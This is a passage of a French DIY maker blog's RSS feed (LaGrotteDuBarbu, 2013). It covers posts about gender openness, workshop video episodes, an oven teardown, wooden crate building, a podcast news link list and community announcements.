+L&#8217;autre chose qui m&#8217;a empêché de dormir je dois l&#8217;avouer c&#8217;est ma fille, qui a 7 ans, qui est en ce2… et qui grandit. Elle a un âge merveilleux où tout l&#8217;intéresse. Le dessin, les livres, les dessins animés, les animaux, les plantes, le papier, comment sont fabriqués les fringues et j&#8217;estime qu&#8217;un de mes rôles en tant que Papa Barbu est justement de pouvoir lui montrer et expliquer tout et n&#8217;importe quoi (et si je peux pas de lui montrer comment trouver les bonnes informations). Mais elle va grandir, apprendre, et devoir un jour choisir ce qu&#8217;elle va devoir devenir et faire… et je trouve cela insupportable l&#8217;idée qu&#8217;on puisse lui refuser un domaine parcequ&#8217;elle est une fille. Si elle veut devenir soudeuse professionnelle, électricienne, ingénieurE aéronautique, danseuse ou chanteuse de comédie musicale (ouais faut pas pousser non plus hein, je veux bien être ouvert mais peut être pas à ce point là) et si c&#8217;est sa passion, je VEUX qu&#8217;elle puisse le faire, et non parceque les stéréotypes ou les décisionnaires pensent que c&#8217;est pas bien. Donc je me dois d&#8217;abord de lui montrer qu&#8217;aucune activité ou métier n&#8217;est réservé à un sexe (je peux faire de la couture et elle peut faire de la soudure à l&#8217;arc) et que c&#8217;est quelque chose que tous les barbus devraient promouvoir… Apprendre aux filles à changer une roue de voiture, aux garçons à recoudre leur pantalon, etc&#8230;</p>
+<p><em>La conclusion c&#8217;est que l&#8217;ouverture ne peut être que totale, &#8220;no middle ground&#8221; comme ils disent, donc ami(e)s femmes, hommes, noirs, blancs, asiatiques, hétéros, homos, bi, trans, français, étrangers, peut importe tous ces critères, pour moi vous êtes tous des gentils barbus avant tout (que vos poils soient visibles ou non).</em></p>
+<p><strong>Voilà, soyez barbus, soyez ouverts, cultivez votre différence&#8230;</strong></p>
+<p class="wp-flattr-button"></p>]]></content:encoded>
+ <wfw:commentRss>http://www.lagrottedubarbu.com/2013/03/19/lagrottedubarbu-opensource-hardware-hackers-une-ouverture-qui-ne-se-limite-pas-aux-machines%e2%80%a6/feed/</wfw:commentRss>
+ <slash:comments>15</slash:comments>
+ </item>
+ <item>
+ <title>Bricolo et Mulot (EP00 &#8211; 01 et 02) par Picaboubx</title>
+ <link>http://www.lagrottedubarbu.com/2013/03/19/bricolo-et-mulot-ep00-01-et-02-par-picaboubx/</link>
+ <comments>http://www.lagrottedubarbu.com/2013/03/19/bricolo-et-mulot-ep00-01-et-02-par-picaboubx/#comments</comments>
+ <pubDate>Tue, 19 Mar 2013 06:41:00 +0000</pubDate>
+ <dc:creator>babozor</dc:creator>
+ <category><![CDATA[Communauté]]></category>
+
+ <guid isPermaLink="false">http://www.lagrottedubarbu.com/?p=1180</guid>
+ <description><![CDATA[Découvert hier via la communauté LaGrotteDuBarbu sur [...]]]></description>
+ <content:encoded><![CDATA[<p>Découvert hier via <a href="https://plus.google.com/communities/105904177334534332708">la communauté LaGrotteDuBarbu sur Google Plus</a> (comme quoi ça aura servi au moins à ça) les premières vidéos de l&#8217;ami <a href="https://twitter.com/Picaboubx"><strong>Picaboubx</strong></a> appelés <strong>&#8220;Bricolo et Mulot&#8221;</strong></p>
+<p><strong>Bricolo et Mulot &#8211; Ep00 Pilote</strong><br />
+<iframe width="640" height="360" src="http://www.youtube.com/embed/f1wMtDJCawI" frameborder="0" allowfullscreen></iframe></p>
+<p><strong>Bricolo et Mulot &#8211; Ep01 Plieuse de tôles</strong><br />
+<iframe width="640" height="360" src="http://www.youtube.com/embed/j_liVKxyLCo" frameborder="0" allowfullscreen></iframe></p>
+<p><strong>Bricolo et Mulot &#8211; Ep02 BOouuuu la rumeur</strong><br />
+<iframe width="640" height="360" src="http://www.youtube.com/embed/OGdtog-tso0" frameborder="0" allowfullscreen></iframe></p>
+<p>Alors déjà, (on le voit dans le pilote) le support pour iPhone avec miroir intégré, franchement c&#8217;est super malin… ça m&#8217;a aussi donné vachement envie de me fabriquer ma propre plieuse de tôle (même si j&#8217;en plie rarement je trouve l&#8217;outil barbare et cool). Ensuite partager ses expériences, sa grotte, etc… ben moi évidemment j&#8217;adore et je ne peux que vous encourager à faire de même.<br />
+Pas encore eut le temps de regarder l&#8217;épisode 02 (c&#8217;est prévu pour ma pause de ce midi) mais j&#8217;ai passé un bon moment en découvrant l&#8217;univers de Picaboubx et je vous invite donc à en faire de même.</p>
+<p class="wp-flattr-button"></p>]]></content:encoded>
+ <wfw:commentRss>http://www.lagrottedubarbu.com/2013/03/19/bricolo-et-mulot-ep00-01-et-02-par-picaboubx/feed/</wfw:commentRss>
+ <slash:comments>3</slash:comments>
+ </item>
+ <item>
+ <title>partagez vos projets sur la Communauté LaGrotteDuBarbu sur Google Plus</title>
+ <link>http://www.lagrottedubarbu.com/2013/03/19/partagez-vos-projets-sur-la-communaute-lagrottedubarbu-sur-google-plus/</link>
+ <comments>http://www.lagrottedubarbu.com/2013/03/19/partagez-vos-projets-sur-la-communaute-lagrottedubarbu-sur-google-plus/#comments</comments>
+ <pubDate>Tue, 19 Mar 2013 06:22:55 +0000</pubDate>
+ <dc:creator>babozor</dc:creator>
+ <category><![CDATA[Divers]]></category>
+ <category><![CDATA[barbu]]></category>
+ <category><![CDATA[communauté]]></category>
+ <category><![CDATA[google]]></category>
+ <category><![CDATA[grotte]]></category>
+ <category><![CDATA[partage]]></category>
+ <category><![CDATA[plus]]></category>
+
+ <guid isPermaLink="false">http://www.lagrottedubarbu.com/?p=1178</guid>
+ <description><![CDATA[Depuis hier j'ai créé une communauté sur GooglePlus [...]]]></description>
+ <content:encoded><![CDATA[<p>Depuis hier j&#8217;ai créé <a href="https://plus.google.com/communities/105904177334534332708">une communauté sur GooglePlus qui est dispo ici</a><br />
+Le principe est simple, tester ce nouveau truc pour voir si c&#8217;est plus adapté pour le partage d&#8217;infos entre barbus que le forum, wiki et autre trucs.</p>
+<p><img src="http://www.lagrottedubarbu.com/wp-content/uploads/2013/03/communaute_google_plus_LaGrotteDuBarbu.jpg" alt="Communaute google plus LaGrotteDuBarbu" title="communaute_google_plus_LaGrotteDuBarbu.jpg" border="0" /></p>
+<p>J&#8217;en profiterais aussi pour poster de temps en temps des photos, des liens rigolos, et pleins de conneries.<br />
+Bon alors pour y accéder vous devez avoir un compte Google, malheureusement… et en ce moment avec la fermeture prévue de Reader en Juillet j&#8217;avoues que je filerais bien un grand coup de pied dans les couilles de Google, mais si ça peut aider la communauté à partager différentes choses, ça vaut le coup de tester ça.</p>
+<p><strong>Donc viendez et balancez photos, liens, vidéos, évènements, cet espace il est pour vous les barbus</strong><br />
+<em>Comme d&#8217;hab si vous avez des commentaires sur la communauté ou Google, hésitez pas à dropper un commentaire</em></p>
+<p class="wp-flattr-button"></p>]]></content:encoded>
+ <wfw:commentRss>http://www.lagrottedubarbu.com/2013/03/19/partagez-vos-projets-sur-la-communaute-lagrottedubarbu-sur-google-plus/feed/</wfw:commentRss>
+ <slash:comments>0</slash:comments>
+ </item>
+ <item>
+ <title>miniGrotte &#8211; Episode3 &#8211; Démontage d&#8217;un four traditionnel</title>
+ <link>http://www.lagrottedubarbu.com/2013/03/12/minigrotte-episode3-demontage-dun-four-traditionnel/</link>
+ <comments>http://www.lagrottedubarbu.com/2013/03/12/minigrotte-episode3-demontage-dun-four-traditionnel/#comments</comments>
+ <pubDate>Tue, 12 Mar 2013 15:27:37 +0000</pubDate>
+ <dc:creator>babozor</dc:creator>
+ <category><![CDATA[Video]]></category>
+ <category><![CDATA[miniGrotte]]></category>
+
+ <guid isPermaLink="false">http://www.lagrottedubarbu.com/?p=1175</guid>
+ <description><![CDATA[Une petite miniGrotte pour vous faire patienter jusqu'a [...]]]></description>
+ <content:encoded><![CDATA[<p>Une petite miniGrotte pour vous faire patienter jusqu&#8217;au prochain épisode de LaGrotteDuBarbu qui arrive la semaine prochaine.</p>
+<p><iframe width="640" height="360" src="http://www.youtube.com/embed/mWRfDnn54Pw" frameborder="0" allowfullscreen></iframe></p>
+<p>Déjà un grand merci à mon voisin Claude pour m&#8217;avoir refilé ce four plus en état de marche (cuire un poulet en mode pyrolyse apparemment ça marche moyennement bien)<br />
+Pleins d&#8217;éléments à récupérer dans un four traditionnel:<br />
+- d&#8217;abord le corps du four, qui va me servir à me faire un espace à peinture à bombe / pistolet (pour éviter de mettre de la peinture dans toute la grotte)<br />
+- des résistances électriques (c&#8217;est ça qui fait que votre four chauffe)<br />
+- de l&#8217;insolation thermique (bien pratique pour isoler un truc qui crame, comme une résistance électrique)<br />
+- des moteurs (un lent pour la broche et l&#8217;autre super speed pour la ventilation), je vais devoir les tester pour voir si ils marchent…<br />
+- une sonde de température<br />
+et quelques autres éléments qui pourront s&#8217;avérer intéressant (de la visserie, des ressorts, etc…)</p>
+<p>Des éléments qu&#8217;on va réutiliser pour le prochain épisode 106 de LaGrotteDuBarbu<br />
+comme d&#8217;hab remarques et insultes sont toujours les bienvenus dans les commentaires</p>
+<p>[petite remarques: je suis en train de régler de façon définitive et bonne l'orientation de la caméra au dessus de mon crâne chauve… là c'est pas top mais ça sera mieux pour l'épisode 105, promis]</p>
+<p class="wp-flattr-button"></p>]]></content:encoded>
+ <wfw:commentRss>http://www.lagrottedubarbu.com/2013/03/12/minigrotte-episode3-demontage-dun-four-traditionnel/feed/</wfw:commentRss>
+ <slash:comments>3</slash:comments>
+ </item>
+ <item>
+ <title>LaGrotteDuBarbu Episode 104 &#8211; CaisseNawak</title>
+ <link>http://www.lagrottedubarbu.com/2013/02/25/lagrottedubarbu-episode-104-caissenawak/</link>
+ <comments>http://www.lagrottedubarbu.com/2013/02/25/lagrottedubarbu-episode-104-caissenawak/#comments</comments>
+ <pubDate>Mon, 25 Feb 2013 18:41:23 +0000</pubDate>
+ <dc:creator>babozor</dc:creator>
+ <category><![CDATA[2013]]></category>
+ <category><![CDATA[Podcast]]></category>
+ <category><![CDATA[Video]]></category>
+ <category><![CDATA[bois]]></category>
+ <category><![CDATA[caisse]]></category>
+ <category><![CDATA[LaGrotteDuBarbu]]></category>
+ <category><![CDATA[pneumatique]]></category>
+ <category><![CDATA[podcast]]></category>
+ <category><![CDATA[rangement]]></category>
+ <category><![CDATA[vidéo]]></category>
+
+ <guid isPermaLink="false">http://www.lagrottedubarbu.com/?p=1173</guid>
+ <description><![CDATA[Cette semaine, premier épisode de 2013 après l'opéra [...]]]></description>
+ <content:encoded><![CDATA[<p>Cette semaine, premier épisode de 2013 après l&#8217;opération #barbitude2013… et on s&#8217;attaque justement au rangement en se fabriquant des &#8220;CaissesNawak&#8221;</p>
+<p><iframe width="640" height="360" src="http://www.youtube.com/embed/Ssy4T0myLTE" frameborder="0" allowfullscreen></iframe></p>
+<p>Pour vous aussi vous fabriquer des CaisseNawak vous avez besoin de:<br />
+- du bois, des trucs récupérés à droite à gauche font très bien l&#8217;affaire, si vous voulez faire des caisses plus propres et plus funky, vous pouvez en acheter… d&#8217;ailleurs bon plan souvent les magasins de bricolage revendent pas cher des caddies entiers de chutes de bois qui sont invendables. On y trouve souvent pas grand chose d&#8217;intéressant mais suffisamment pour se faire pleins de CaisseNawak<br />
+- une scie… moi j&#8217;utilise ma scie à onglet, mais vous pouvez utiliser une scie à main, une scie sauteuse, une scie circulaire du moment que ça coupe.<br />
+- une clouteuse / agrafeuse pneumatique<br />
+- une lamelleuse ou biscuiteuse (et c&#8217;est @blublugrublu qui a gagné le concours et donc un cadeau pour avoir trouvé le nom de l&#8217;outils le premier)<br />
+- une perceuse et des vis en bois</p>
+<p>Quelques remarques:<br />
+- la méthode pour couper toujours vos morceaux de bois à la même dimension marche très bien, je l&#8217;utilise super souvent… en général quand vous tentez de couper plusieurs morceaux aux même dimensions, entre la mesure, votre trait de crayon et votre trait de scie, en cumulant les demi millimètres, vous pouvez avoir des différences notables entre les pièces. Cette méthode vous permet de toujours couper votre morceau de bois à la taille choisie.<br />
+- ma méthode préférée pour me faire des CadreNawak reste la clouteuse, c&#8217;est rapide, pas compliqué, mais par contre c&#8217;est TRES dangereux… donc un outil à utiliser avec respect.<br />
+- la biscuiteuse (ou lamelleuse) n&#8217;est clairement pas une méthode adaptée pour ce genre de travail… je l&#8217;ai utilisé par exemple pour créer une table à partir de morceaux de bois divers pour mes parents et ça marche très bien, ici c&#8217;est juste pas adapté.<br />
+- la troisième méthode, je ferais un épisode spécifique, parceque ça peut être mortel mais là c&#8217;était pas adapté, c&#8217;était long et chiant…</p>
+<p>Quelques photos de mes nouvelles CaisseNawak</p>
+<p><img src="http://www.lagrottedubarbu.com/wp-content/uploads/2013/02/ep104_1.jpg" alt="Ep104 1" title="ep104_1.jpg" border="0" /></p>
+<p><img src="http://www.lagrottedubarbu.com/wp-content/uploads/2013/02/ep104_2.jpg" alt="Ep104 2" title="ep104_2.jpg" border="0" /></p>
+<p><img src="http://www.lagrottedubarbu.com/wp-content/uploads/2013/02/ep104_3.jpg" alt="Ep104 3" title="ep104_3.jpg" border="0" /></p>
+<p><img src="http://www.lagrottedubarbu.com/wp-content/uploads/2013/02/ep104_4.jpg" alt="Ep104 4" title="ep104_4.jpg" border="0" /></p>
+<p><em>Bien sûr toutes les remarques et insultes sont les bienvenues… sur l&#8217;épisode, le nouveau setup, le son, etc… lâchez vous les barbus ^^</em></p>
+<p class="wp-flattr-button"></p>]]></content:encoded>
+ <wfw:commentRss>http://www.lagrottedubarbu.com/2013/02/25/lagrottedubarbu-episode-104-caissenawak/feed/</wfw:commentRss>
+ <slash:comments>22</slash:comments>
+ </item>
+ <item>
+ <title>BarbuCast &#8211; Episode 8</title>
+ <link>http://www.lagrottedubarbu.com/2013/02/21/barbucast-episode-8/</link>
+ <comments>http://www.lagrottedubarbu.com/2013/02/21/barbucast-episode-8/#comments</comments>
+ <pubDate>Thu, 21 Feb 2013 18:35:49 +0000</pubDate>
+ <dc:creator>babozor</dc:creator>
+ <category><![CDATA[Audio]]></category>
+ <category><![CDATA[BarbuCast]]></category>
+ <category><![CDATA[Podcast]]></category>
+
+ <guid isPermaLink="false">http://www.lagrottedubarbu.com/?p=1167</guid>
+ <description><![CDATA[Un épisode enregistré le 20 janvier et que je peux EN [...]]]></description>
+ <content:encoded><![CDATA[<p>Un épisode enregistré le 20 janvier et que je peux ENFIN mettre en ligne</p>
+ <audio id="wp_mep_1" controls="controls" src="http://www.lagrottedubarbu.com/podcast/audio/hdb_ep08.mp3" preload="none" class="mejs-player " data-mejsoptions='{"features":["playpause","current","progress","duration","volume","tracks","fullscreen"],"audioWidth":400,"audioHeight":30}'>
+
+ <object width="400" height="30" type="application/x-shockwave-flash" data="http://www.lagrottedubarbu.com/wp-content/plugins/media-element-html5-video-and-audio-player/mediaelement/flashmediaelement.swf">
+ <param name="movie" value="http://www.lagrottedubarbu.com/wp-content/plugins/media-element-html5-video-and-audio-player/mediaelement/flashmediaelement.swf" />
+ <param name="flashvars" value="controls=true&amp;file=http://www.lagrottedubarbu.com/podcast/audio/hdb_ep08.mp3" />
+ </object>
+ </audio>
+<p>L&#8217;épisode est écoutable dans cette page ou téléchargeable au format <a href="http://www.lagrottedubarbu.com/podcast/audio/hdb_ep08.mp3">mp3</a> et bien sûr vous pouvez toujours vous abonnez au podcast <a href="http://itunes.apple.com/fr/podcast/barbucast/id550059496">via le flux RSS pour iTunes</a></p>
+<p><strong>Les news</strong><br />
+- <a href="http://www.lulzbot.com/?q=catalog">le LulzBot</a><br />
+- <a href="http://www.geeksaresexy.net/2013/01/03/star-wars-wookiee-jacket-by-marc-ecko/?utm_source=feedburner&#038;utm_medium=feed&#038;utm_campaign=Feed:+geeksAreSexyTechnologyNews+%28[Geeks+are+Sexy]+technology+news%29&#038;utm_content=Google+Reader">un blouson de wookie (et pas d&#8217;ewok chuis nul)</a><br />
+- <a href="http://torrentfreak.com/pirates-hollywood-sets-10-billion-box-office-record-121231/?utm_source=feedburner&#038;utm_medium=feed&#038;utm_campaign=Feed:+Torrentfreak+%28Torrentfreak%29&#038;utm_content=Google+Reader">Pirates? Hoolywood bas un record au Box Office avec 10 Milliards de $</a><br />
+- <a href="http://www.diyphotography.net/download-adobe-cs2-for-free">Télécharger Adobe CS2 gratos?</a><br />
+- <a href="http://www.adafruit.com/blog/2013/01/07/make-the-metric-system-the-standard-in-the-united-states/">Le système métrique le nouveau standard pour les US</a><br />
+- <a href="http://www.pcinpact.com/news/76567-microsoft-applaudit-jailbreak-windows-rt-mais-corrigera-tir.htm?utm_source=PCi_RSS_Feed&#038;utm_medium=news&#038;utm_campaign=pcinpact">Microsoft applaudit le jailbreak de Windows RT</a><br />
+- <a href="http://www.numerama.com/magazine/24715-pour-pascal-obispo-hadopi-ne-suffit-pas-il-y-a-encore-trop-de-pirates.html">Pascal Obispo et le piratage</a><br />
+- <a href="http://www.pcinpact.com/news/76666-edito-les-boutiques-culturelles-et-high-tech-sont-elles-vouees-a-mourir.htm?utm_source=PCi_RSS_Feed&#038;utm_medium=news&#038;utm_campaign=pcinpact">Les boutiques culturelles et Hight teck sont elles en danger?</a><br />
+- <a href="https://twitter.com/ubergizmo_fr/status/289809565195849728">un message pour mark Zuckerberg pour 100$</a><br />
+- <a href="http://coolmaterial.com/video/jack-daniels-the-whiskey-drum/">La caisse claire JackDaniels</a><br />
+- <a href="http://hackaday.com/2013/01/15/print-your-own-30-round-ar15-magazine/?utm_source=feedburner&#038;utm_medium=feed&#038;utm_campaign=Feed:+hackaday/LgoM+%28Hack+a+Day%29&#038;utm_content=Google+Reader">Imprimer son chargeur d&#8217;AR15</a><br />
+- <a href="http://www.numerama.com/magazine/24793-34j-voulais-pas-pirater34-mais.html">J&#8217;voulais pas pirater mais…</a><br />
+- <a href="http://hackaday.com/2013/01/17/real-life-mario-karts-react-to-launchable-items/?utm_source=feedburner&#038;utm_medium=feed&#038;utm_campaign=Feed:+hackaday/LgoM+%28Hack+a+Day%29&#038;utm_content=Google+Reader">Mario Kart dans la vraie vie</a><br />
+- <a href="http://blog.makezine.com/2013/01/17/u-s-manufacturing-cheaper-and-greener/?utm_source=feedburner&#038;utm_medium=feed&#038;utm_campaign=Feed:+makezineonline+%28MAKE%29&#038;utm_content=Google+Reader">Fabriquer aux USA: moins cher et plus vert?</a><br />
+- <a href="http://www.numerama.com/magazine/24825-le-csa-veut-reguler-vos-videos-personnelles.html">le CSA veut réguler COS vidéos personnelles</a><br />
+- <a href="http://boingboing.net/2013/01/18/nerds-are-one-of-the-most-da.html?utm_source=feedburner&#038;utm_medium=feed&#038;utm_campaign=Feed:+boingboing/iBag+%28Boing+Boing%29&#038;utm_content=Google+Reader">&#8220;Les nerds sont un des groupes les plus dangereux&#8221;</a><br />
+- <a href="http://hackaday.com/2013/01/19/write-code-fix-the-space-station-win-10000/?utm_source=feedburner&#038;utm_medium=feed&#038;utm_campaign=Feed:+hackaday/LgoM+%28Hack+a+Day%29&#038;utm_content=Google+Reader">Ecrivez du code pour l&#8217;ISS et gagnez 10 000$</a><br />
+- <a href="http://boingboing.net/2013/01/19/augmented-reality-welding-mask.html?utm_source=feedburner&#038;utm_medium=feed&#038;utm_campaign=Feed:+boingboing/iBag+%28Boing+Boing%29&#038;utm_content=Google+Reader">le masque à souder HDR</a><br />
+- <a href="http://www.pcinpact.com/news/76889-deux-nouvelles-failles-pour-java-qualite-code-inquietante.htm?utm_source=PCi_RSS_Feed&#038;utm_medium=news&#038;utm_campaign=pcinpact">deux nouvelles failles Java</a><br />
+- <a href="">Piratage: une licence globale à plus de 10€/mois</a><br />
+- <a href="http://hackaday.com/2013/01/21/land-speed-baby-carriage-record-set-at-53-mpg/?utm_source=feedburner&#038;utm_medium=feed&#038;utm_campaign=Feed:+hackaday/LgoM+(Hack+a+Day)&#038;utm_content=Google+Reader">une poussette à 53 miles par heure</a></p>
+<p><strong>Le Dossier</strong><br />
+Hackerspace, FabLab, FacLac, qu&#8217;est ce que c&#8217;est que ces trucs bizarres?…</p>
+<p><strong>Le site web</strong><br />
+HobbyElectro le site marchand de l&#8217;ami <a href="https://twitter.com/furrtek/">furrtek</a> (et <a href="http://furrtek.free.fr/">son site officiel est là&#8230;</a>)<br />
+<a href="http://www.hobbyelectro.fr">http://www.hobbyelectro.fr</a></p>
+<p><strong>Le matériel</strong><br />
+le matériel utilisé pour ce podcast<br />
+- la mixette SoundLab G105AA 4 voix acheté rue victor masset 19€<br />
+- le micro à 29€<br />
+- le cable XLR &#8211; Jack mono 20€<br />
+- le pied de micro Hercules 59€<br />
+- ampli pour casque 4 voix Behringer HA400 &#8211; 15€ environ<br />
+- GarageBand &#8211; 4,49€</p>
+<p><em>Un grand merci pour vos commentaires sur tweeter et iTunes…</em></p>
+<p class="wp-flattr-button"></p>]]></content:encoded>
+ <wfw:commentRss>http://www.lagrottedubarbu.com/2013/02/21/barbucast-episode-8/feed/</wfw:commentRss>
+ <slash:comments>8</slash:comments>
+<enclosure url="http://www.lagrottedubarbu.com/podcast/audio/hdb_ep08.mp3" length="11310729" type="audio/mpeg" />
+ </item>
+ <item>
+ <title>Petite visite de la grotte en mode FPS &#8211; aménagements finis à 57% #barbitude2013</title>
+ <link>http://www.lagrottedubarbu.com/2013/02/20/petite-visite-de-la-grotte-en-mode-fps-amenagements-finis-a-57-barbitude2013/</link>
+ <comments>http://www.lagrottedubarbu.com/2013/02/20/petite-visite-de-la-grotte-en-mode-fps-amenagements-finis-a-57-barbitude2013/#comments</comments>
+ <pubDate>Wed, 20 Feb 2013 06:31:39 +0000</pubDate>
+ <dc:creator>babozor</dc:creator>
+ <category><![CDATA[Divers]]></category>
+ <category><![CDATA[Production]]></category>
+ <category><![CDATA[Video]]></category>
+ <category><![CDATA[aménagements]]></category>
+ <category><![CDATA[barbu]]></category>
+ <category><![CDATA[diy]]></category>
+ <category><![CDATA[FPS]]></category>
+ <category><![CDATA[grotte]]></category>
+ <category><![CDATA[POV]]></category>
+ <category><![CDATA[travaux]]></category>
+ <category><![CDATA[visite]]></category>
+
+ <guid isPermaLink="false">http://www.lagrottedubarbu.com/?p=1165</guid>
+ <description><![CDATA[Salut les barbus…
+J'ai passé les derniers jours à b [...]]]></description>
+ <content:encoded><![CDATA[<p>Salut les barbus…<br />
+J&#8217;ai passé les derniers jours à bricoler pas mal de choses: fabrication de ma nouvelle table, revamp du système de lumière, mise en place des emplacements pour les différentes caméras, et j&#8217;ai donc fait hier une petite vidéos en mode FPS pour vous présenter tout ça.</p>
+<p><iframe width="640" height="360" src="http://www.youtube.com/embed/J-_KcYdRQsg" frameborder="0" allowfullscreen></iframe></p>
+<p>Une bonne occasion aussi de me faire la main sur le nouveau matériel son, voir si j&#8217;oublie rien, fait pas de mauvaise manie, etc…</p>
+<p>En gros les grandes nouveautés de la grotte (qui sont pas si grosses que ça mais…)<br />
+- déplacement de l&#8217;établi sur la partie béton de la grotte<br />
+- construction de la nouvelle table, tout soudé à la main pas moi même<br />
+- déplacement sous peu du matériel cradoc (grand générateur de poussière) sur la partie béton (et déplacement de ma batterie dans le fond de cette partie)<br />
+- revamp complet du système de lumière: j&#8217;ai soudé un cadre en acier, j&#8217;y ai vissé les 4 double néons, que je suis allé vissé à la grosse poutre au dessus de la table… la soudure nickel par contre monter tout seul un cadre + 4 néons pour un ensemble d&#8217;une bonne cinquantaine de kilos tout seul à la main, perché sur une échelle à 4m de haut, c&#8217;était funky j&#8217;avoues… heureusement avec l&#8217;aide de mes amis cordes et ducttape j&#8217;ai réussi à m&#8217;en sortir tout seul comme un grand<br />
+- le nouveau système de lumière frontal / attache de caméra principale a été lui aussi construit à partir de profilé soudé et vissé à une autre poutre<br />
+- j&#8217;ai encore 2/3 néons à placer, d&#8217;abord dans la future partie cradoc et peut être un sous les étgères<br />
+- encore pas mal de rangements à faire…</p>
+<p>Un dernier petit truc, oui aller acheter du profilé chez un pro c&#8217;est vachement moins cher que d&#8217;aller dans un magasin de bricolage quelconque… pour vous donner un ordre d&#8217;idée pour du profilé carré en acier de 25mm de côté épaisseur 2mm il était vendu environ une vingtaine d&#8217;euros pour 2m… et 18€ les 6m chez le spécialiste.<br />
+Moi j&#8217;ai trouvé le mien à Chatellerault et donc maintenant j&#8217;ai ma source pour l&#8217;acier (ils en ont un hangar plein)</p>
+<p>Encore un ou deux jours de travaux et rangements et je vais pouvoir attaquer le tournage des premiers épisodes de cette année 2013 (je profites des vacances de la demoiselle pour ranger, fabriquer, filmer tranquillou)</p>
+<p><em>Comme d&#8217;hab les commentaires et insultes sont les bienvenus</em><br />
+<strong>Un grand merci à tous les barbus pour leurs précieux conseils sur la lumière, les angles de caméras et leurs soutien en général… pleins de projets démentiels et surtout un setup beaucoup plus simple et pratique pour vous filer pleins de vidéos giga cool en 2013</strong></p>
+<p class="wp-flattr-button"></p>]]></content:encoded>
+ <wfw:commentRss>http://www.lagrottedubarbu.com/2013/02/20/petite-visite-de-la-grotte-en-mode-fps-amenagements-finis-a-57-barbitude2013/feed/</wfw:commentRss>
+ <slash:comments>8</slash:comments>
+ </item>
+ <item>
+ <title>retrouvez LaGrotteDuBarbu sur Lofi_00 #9 spéciale POIL</title>
+ <link>http://www.lagrottedubarbu.com/2013/02/18/retrouvez-lagrottedubarbu-sur-lofi_00-9-speciale-poil/</link>
+ <comments>http://www.lagrottedubarbu.com/2013/02/18/retrouvez-lagrottedubarbu-sur-lofi_00-9-speciale-poil/#comments</comments>
+ <pubDate>Mon, 18 Feb 2013 21:06:24 +0000</pubDate>
+ <dc:creator>babozor</dc:creator>
+ <category><![CDATA[Audio]]></category>
+ <category><![CDATA[Divers]]></category>
+ <category><![CDATA[Rencontres]]></category>
+
+ <guid isPermaLink="false">http://www.lagrottedubarbu.com/?p=1163</guid>
+ <description><![CDATA[Il y a de cela quelques semaines Peggy m'avait contactà [...]]]></description>
+ <content:encoded><![CDATA[<p>Il y a de cela quelques semaines Peggy m&#8217;avait contacté pour m&#8217;interviewer par téléphone pour l&#8217;émission <strong>Lofi_00</strong> (qui si j&#8217;ai bien compris passes sur une radio belge, me souviens plus laquelle mais nos amis belges me rectifieront ou pourront apporter des précisions j&#8217;en suis sûr) avec comme thématique: <strong>Le Poil</strong></p>
+<p>C&#8217;est à écouter ici</p>
+<p><iframe width="480" height="480" src="//www.mixcloud.com/widget/iframe/?feed=http%3A%2F%2Fwww.mixcloud.com%2FLofi_00%2F9-speciale-poil%2F&#038;embed_uuid=563a3e6b-b7c8-487b-9e9b-1261c8995a73&#038;stylecolor=&#038;embed_type=widget_standard" frameborder="0"></iframe>
+<div style="clear:both; height:3px; width:472px;"></div>
+<p style="display:block; font-size:12px; font-family:Helvetica, Arial, sans-serif; margin:0; padding: 3px 4px; color:#02a0c7; width:472px;"><a href="http://www.mixcloud.com/Lofi_00/9-speciale-poil/?utm_source=widget&amp;utm_medium=web&amp;utm_campaign=base_links&amp;utm_term=resource_link" target="_blank" style="color:#02a0c7; font-weight:bold;">#9 Spéciale POIL</a><span> by </span><a href="http://www.mixcloud.com/Lofi_00/?utm_source=widget&amp;utm_medium=web&amp;utm_campaign=base_links&amp;utm_term=profile_link" target="_blank" style="color:#02a0c7; font-weight:bold;">Lofi_00</a><span> on </span><a href="http://www.mixcloud.com/?utm_source=widget&#038;utm_medium=web&#038;utm_campaign=base_links&#038;utm_term=homepage_link" target="_blank" style="color:#02a0c7; font-weight:bold;"> Mixcloud</a></p>
+<div style="clear:both; height:3px;"></div>
+<p>Gros win en tout cas puisque j&#8217;ai réussi à faire passer du Lamb Of God et du Meshuggah à la radio<br />
+<em><strong>Barbitude Power!&#8230;</strong></em></p>
+<p><em>Comme d&#8217;habitude, vos commentaires et insultes sont les bienvenus</em></p>
+<p class="wp-flattr-button"></p>]]></content:encoded>
+ <wfw:commentRss>http://www.lagrottedubarbu.com/2013/02/18/retrouvez-lagrottedubarbu-sur-lofi_00-9-speciale-poil/feed/</wfw:commentRss>
+ <slash:comments>2</slash:comments>
+ </item>
+ <item>
+ <title>LaGrotteDuBarbu générique 2013 #barbitude2013</title>
+ <link>http://www.lagrottedubarbu.com/2013/02/18/lagrottedubarbu-generique-2013-barbitude2013/</link>
+ <comments>http://www.lagrottedubarbu.com/2013/02/18/lagrottedubarbu-generique-2013-barbitude2013/#comments</comments>
+ <pubDate>Mon, 18 Feb 2013 14:10:53 +0000</pubDate>
+ <dc:creator>babozor</dc:creator>
+ <category><![CDATA[Production]]></category>
+ <category><![CDATA[Video]]></category>
+ <category><![CDATA[barbitude2013]]></category>
+ <category><![CDATA[2013]]></category>
+ <category><![CDATA[barbitude]]></category>
+ <category><![CDATA[barbu]]></category>
+ <category><![CDATA[générique]]></category>
+ <category><![CDATA[podcast]]></category>
+ <category><![CDATA[TonTube]]></category>
+
+ <guid isPermaLink="false">http://www.lagrottedubarbu.com/?p=1161</guid>
+ <description><![CDATA[Hello les barbus…
+Le nouveau générique de LaGrotteD [...]]]></description>
+ <content:encoded><![CDATA[<p>Hello les barbus…<br />
+Le <strong>nouveau générique de LaGrotteDuBarbu 2013</strong> est en ligne et dispo sur <strong>TonTube</strong></p>
+<p><iframe width="640" height="360" src="http://www.youtube.com/embed/YXVwyNIqlZU" frameborder="0" allowfullscreen></iframe></p>
+<p>Tourné et monté à la barbare ce matin (en même temps que l&#8217;intro et l&#8217;outro pour l&#8217;année 2013 de LaGrotteDuBarbu)<br />
+Avec comme d&#8217;habitude de la musique bourrin qui vient du dernier album de <strong>Meshuggah</strong> &#8211; <strong>Koloss</strong></p>
+<p><em>Comme d&#8217;hab tous les commentaires et insultes sont les bienvenus</em></p>
+<p class="wp-flattr-button"></p>]]></content:encoded>
+ <wfw:commentRss>http://www.lagrottedubarbu.com/2013/02/18/lagrottedubarbu-generique-2013-barbitude2013/feed/</wfw:commentRss>
+ <slash:comments>9</slash:comments>
+ </item>
+ </channel>
+</rss>
